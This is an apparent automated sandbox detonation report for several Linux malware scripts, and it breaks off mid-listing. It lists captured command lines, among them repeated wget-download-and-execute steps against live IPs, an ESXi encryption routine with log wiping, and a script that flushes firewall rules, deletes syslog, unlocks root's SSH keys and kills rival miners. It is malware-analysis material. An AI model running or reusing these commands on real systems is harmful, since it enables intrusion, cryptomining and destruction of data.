File opened for reading /proc/689/stat /bin/ps N/A
File opened for reading /proc/19/status /bin/ps N/A
File opened for reading /proc/14/stat /bin/ps N/A
File opened for reading /proc/15/stat /bin/ps N/A
File opened for reading /proc/5/status /bin/ps N/A
File opened for reading /proc/22/stat /bin/ps N/A
File opened for reading /proc/675/stat /bin/ps N/A
File opened for reading /proc/17/status /bin/ps N/A
File opened for reading /proc/375/stat /bin/ps N/A
File opened for reading /proc/479/status /bin/ps N/A
File opened for reading /proc/15/stat /bin/ps N/A
File opened for reading /proc/73/stat /bin/ps N/A
File opened for reading /proc/1/status /bin/ps N/A
File opened for reading /proc/74/stat /bin/ps N/A
File opened for reading /proc/filesystems /bin/ps N/A
File opened for reading /proc/16/status /bin/ps N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh N/A
N/A N/A /bin/rm N/A
N/A N/A /bin/rm N/A

Processes

/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh

[/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

/bin/grep

[grep Config File]

/usr/bin/awk

[awk {print $3}]

/bin/ps

[ps]

/bin/grep

[grep vmx]

/usr/bin/awk

[awk {print $2}]

/bin/chmod

[chmod +x /tmp//encrypt]

/bin/grep

[grep /vmfs/volumes/]

/usr/bin/awk

[awk -F {print $2}]

/usr/bin/find

[find /usr/lib/vmware -type f -name index.html]

/bin/mv

[mv /etc/motd /etc/motd1]

/bin/cp

[cp /tmp//motd /etc/motd]

/bin/find

[/bin/find / -name *.log -exec /bin/rm -rf {} ;]

/bin/ps

[/bin/ps]

/bin/grep

[/bin/grep encrypt]

/bin/grep

[/bin/grep -v grep]

/bin/wc

[/bin/wc -l]

/bin/vmware

[/bin/vmware -l]

/bin/grep

[/bin/grep 7.]

/bin/wc

[/bin/wc -l]

/bin/rm

[/bin/rm -f /store/packages/vmtools.py]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh]

/bin/touch

[/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh]

/bin/rm

[/bin/rm -f /tmp/encrypt /tmp/nohup.out /tmp/index.html /tmp/motd /tmp/public.pem /tmp/archieve.zip]

/bin/sh

[/bin/sh /bin/auto-backup.sh]

/bin/rm

[/bin/rm -- /tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

/etc/init.d/SSH

[/etc/init.d/SSH start]

Network

N/A

Files

N/A

Analysis: behavioral13

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

ubuntu2204-amd64-20240611-en

Max time kernel

0s

Max time network

130s

Command Line

[/tmp/script_malware/164f8295_linux.elf]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/164f8295_linux.elf N/A

Processes

/tmp/script_malware/164f8295_linux.elf

[/tmp/script_malware/164f8295_linux.elf]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp

Files

N/A

Analysis: behavioral15

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:08

Platform

ubuntu1804-amd64-20240508-en

Max time kernel

131s

Max time network

148s

Command Line

[/tmp/script_malware/23.sh]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/23.sh N/A
N/A N/A /usr/bin/wget N/A

Processes

/tmp/script_malware/23.sh

[/tmp/script_malware/23.sh]

/usr/bin/wget

[wget http://182.52.51.239/scripts/23s]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 151.101.193.91:443 tcp
TH 182.52.51.239:80 tcp
GB 185.125.188.62:443 tcp
GB 185.125.188.62:443 tcp
US 151.101.193.91:443 tcp
GB 89.187.167.9:443 tcp
TH 182.52.51.239:80 tcp

Files

N/A

Analysis: behavioral29

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

ubuntu1804-amd64-20240611-en

Max time kernel

30s

Max time network

132s

Command Line

[/tmp/script_malware/SnOoPy.sh]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A
N/A N/A /bin/chmod N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/SnOoPy.sh N/A

Processes

/tmp/script_malware/SnOoPy.sh

[/tmp/script_malware/SnOoPy.sh]

/usr/bin/wget

[wget http://185.144.159.137/m-i.p-s.SNOOPY]

/bin/chmod

[chmod +x m-i.p-s.SNOOPY]

/tmp/m-i.p-s.SNOOPY

[./m-i.p-s.SNOOPY]

/bin/rm

[rm -rf m-i.p-s.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/m-p.s-l.SNOOPY]

/bin/chmod

[chmod +x m-p.s-l.SNOOPY]

/tmp/m-p.s-l.SNOOPY

[./m-p.s-l.SNOOPY]

/bin/rm

[rm -rf m-p.s-l.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/s-h.4-.SNOOPY]

/bin/chmod

[chmod +x s-h.4-.SNOOPY]

/tmp/s-h.4-.SNOOPY

[./s-h.4-.SNOOPY]

/bin/rm

[rm -rf s-h.4-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/x-8.6-.SNOOPY]

/bin/chmod

[chmod +x x-8.6-.SNOOPY]

/tmp/x-8.6-.SNOOPY

[./x-8.6-.SNOOPY]

/bin/rm

[rm -rf x-8.6-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-6.SNOOPY]

/bin/chmod

[chmod +x a-r.m-6.SNOOPY]

/tmp/a-r.m-6.SNOOPY

[./a-r.m-6.SNOOPY]

/bin/rm

[rm -rf a-r.m-6.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/x-3.2-.SNOOPY]

/bin/chmod

[chmod +x x-3.2-.SNOOPY]

/tmp/x-3.2-.SNOOPY

[./x-3.2-.SNOOPY]

/bin/rm

[rm -rf x-3.2-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-7.SNOOPY]

/bin/chmod

[chmod +x a-r.m-7.SNOOPY]

/tmp/a-r.m-7.SNOOPY

[./a-r.m-7.SNOOPY]

/bin/rm

[rm -rf a-r.m-7.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/p-p.c-.SNOOPY]

/bin/chmod

[chmod +x p-p.c-.SNOOPY]

/tmp/p-p.c-.SNOOPY

[./p-p.c-.SNOOPY]

/bin/rm

[rm -rf p-p.c-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/i-5.8-6.SNOOPY]

/bin/chmod

[chmod +x i-5.8-6.SNOOPY]

/tmp/i-5.8-6.SNOOPY

[./i-5.8-6.SNOOPY]

/bin/rm

[rm -rf i-5.8-6.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/m-6.8-k.SNOOPY]

/bin/chmod

[chmod +x m-6.8-k.SNOOPY]

/tmp/m-6.8-k.SNOOPY

[./m-6.8-k.SNOOPY]

/bin/rm

[rm -rf m-6.8-k.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/p-p.c-.SNOOPY]

/bin/chmod

[chmod +x p-p.c-.SNOOPY]

/tmp/p-p.c-.SNOOPY

[./p-p.c-.SNOOPY]

/bin/rm

[rm -rf p-p.c-.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-4.SNOOPY]

/bin/chmod

[chmod +x a-r.m-4.SNOOPY]

/tmp/a-r.m-4.SNOOPY

[./a-r.m-4.SNOOPY]

/bin/rm

[rm -rf a-r.m-4.SNOOPY]

/usr/bin/wget

[wget http://185.144.159.137/a-r.m-5.SNOOPY]

/bin/chmod

[chmod +x a-r.m-5.SNOOPY]

/tmp/a-r.m-5.SNOOPY

[./a-r.m-5.SNOOPY]

/bin/rm

[rm -rf a-r.m-5.SNOOPY]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 185.144.159.137:80 tcp
GB 185.125.188.62:443 tcp
GB 185.125.188.61:443 tcp
US 151.101.129.91:443 tcp
US 151.101.129.91:443 tcp
GB 89.187.167.3:443 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp
US 185.144.159.137:80 tcp

Files

N/A

Analysis: behavioral8

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsel-20240611-en

Max time kernel

150s

Command Line

[/tmp/script_malware/1.sh]

Signatures

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A /sbin/iptables N/A

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

privilege_escalation defense_evasion
Description Indicator Process Target
N/A N/A /usr/bin/sudo N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/grep N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/xargs N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.L1WUvM /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Ah3bBS /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.pmoqEl /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.4UDPaB /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.4plCob /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.uyjpji /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.Oct5V6 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.s2HeTe /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.tdGPTy /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.DBlG27 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.RF4xzQ /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.xcxK5z /usr/bin/crontab N/A

Enumerates running processes

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A

Enumerates kernel/hardware configuration

discovery
Description Indicator Process Target
File opened for reading /sys/fs/kdbus/0-system/bus N/A N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/84/stat N/A N/A
File opened for reading /proc/75/status N/A N/A
File opened for reading /proc/700/cmdline N/A N/A
File opened for reading /proc/314/cmdline N/A N/A
File opened for reading /proc/6/stat N/A N/A
File opened for reading /proc/77/status /bin/ps N/A
File opened for reading /proc/439/status N/A N/A
File opened for reading /proc/8/cmdline N/A N/A
File opened for reading /proc/filesystems /bin/ls N/A
File opened for reading /proc/664/cmdline /usr/bin/pkill N/A
File opened for reading /proc/316/cmdline /bin/ps N/A
File opened for reading /proc/22/status /bin/ps N/A
File opened for reading /proc/36/status /bin/ps N/A
File opened for reading /proc/22/cmdline N/A N/A
File opened for reading /proc/366/status /usr/bin/pkill N/A
File opened for reading /proc/36/stat /bin/ps N/A
File opened for reading /proc/342/cmdline N/A N/A
File opened for reading /proc/uptime N/A N/A
File opened for reading /proc/77/cmdline N/A N/A
File opened for reading /proc/1/cmdline /usr/bin/pkill N/A
File opened for reading /proc/78/cmdline /usr/bin/pkill N/A
File opened for reading /proc/78/status /usr/bin/pkill N/A
File opened for reading /proc/23/status N/A N/A
File opened for reading /proc/8/status N/A N/A
File opened for reading /proc/2/cmdline N/A N/A
File opened for reading /proc/15/status N/A N/A
File opened for reading /proc/707/cmdline N/A N/A
File opened for reading /proc/77/status /bin/ps N/A
File opened for reading /proc/84/status /bin/ps N/A
File opened for reading /proc/75/cmdline /bin/ps N/A
File opened for reading /proc/2303/cmdline N/A N/A
File opened for reading /proc/150/status N/A N/A
File opened for reading /proc/sys/kernel/pid_max /bin/ps N/A
File opened for reading /proc/700/stat /bin/ps N/A
File opened for reading /proc/672/cmdline /bin/ps N/A
File opened for reading /proc/21/status N/A N/A
File opened for reading /proc/16/status N/A N/A
File opened for reading /proc/713/cmdline N/A N/A
File opened for reading /proc/314/status N/A N/A
File opened for reading /proc/666/status N/A N/A
File opened for reading /proc/20/status N/A N/A
File opened for reading /proc/679/cmdline N/A N/A
File opened for reading /proc/116/cmdline /usr/bin/pkill N/A
File opened for reading /proc/314/cmdline /usr/bin/pkill N/A
File opened for reading /proc/23/status /bin/ps N/A
File opened for reading /proc/439/status /usr/bin/pkill N/A
File opened for reading /proc/77/stat /bin/ps N/A
File opened for reading /proc/15/status /bin/ps N/A
File opened for reading /proc/7/stat /bin/ps N/A
File opened for reading /proc/84/status N/A N/A
File opened for reading /proc/671/cmdline /usr/bin/pkill N/A
File opened for reading /proc/1/cmdline /usr/bin/pkill N/A
File opened for reading /proc/3/cmdline /usr/bin/pkill N/A
File opened for reading /proc/37/status N/A N/A
File opened for reading /proc/703/stat N/A N/A
File opened for reading /proc/315/status N/A N/A
File opened for reading /proc/73/status N/A N/A
File opened for reading /proc/1968/status /bin/ps N/A
File opened for reading /proc/224/stat N/A N/A
File opened for reading /proc/6/status N/A N/A
File opened for reading /proc/150/cmdline /usr/bin/pkill N/A
File opened for reading /proc/150/cmdline /usr/bin/pkill N/A
File opened for reading /proc/117/stat /bin/ps N/A
File opened for reading /proc/14/cmdline /bin/ps N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/1.sh N/A
N/A N/A /bin/ls N/A
N/A N/A /bin/grep N/A
N/A N/A /bin/grep N/A
N/A N/A N/A N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/log_rot /tmp/script_malware/1.sh N/A

Processes

/tmp/script_malware/1.sh

[/tmp/script_malware/1.sh]

/bin/rm

[rm -rf /var/log/syslog]

/usr/bin/chattr

[chattr -iua /tmp/]

/usr/bin/chattr

[chattr -iua /var/tmp/]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/sbin/iptables

[iptables -F]

/usr/bin/sudo

[sudo sysctl kernel.nmi_watchdog=0]

/usr/sbin/userdel

[userdel akay]

/usr/sbin/userdel

[userdel vfinder]

/usr/bin/chattr

[chattr -iae /root/.ssh/]

/usr/bin/chattr

[chattr -iae /root/.ssh/authorized_keys]

/bin/rm

[rm -rf /tmp/addres*]

/bin/rm

[rm -rf /tmp/walle*]

/bin/rm

[rm -rf /tmp/keys]

/bin/ls

[ls -latrh /proc/1]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/10]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/106]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/11]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/116]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/117]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/12]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/13]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/14]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/147]

/bin/grep

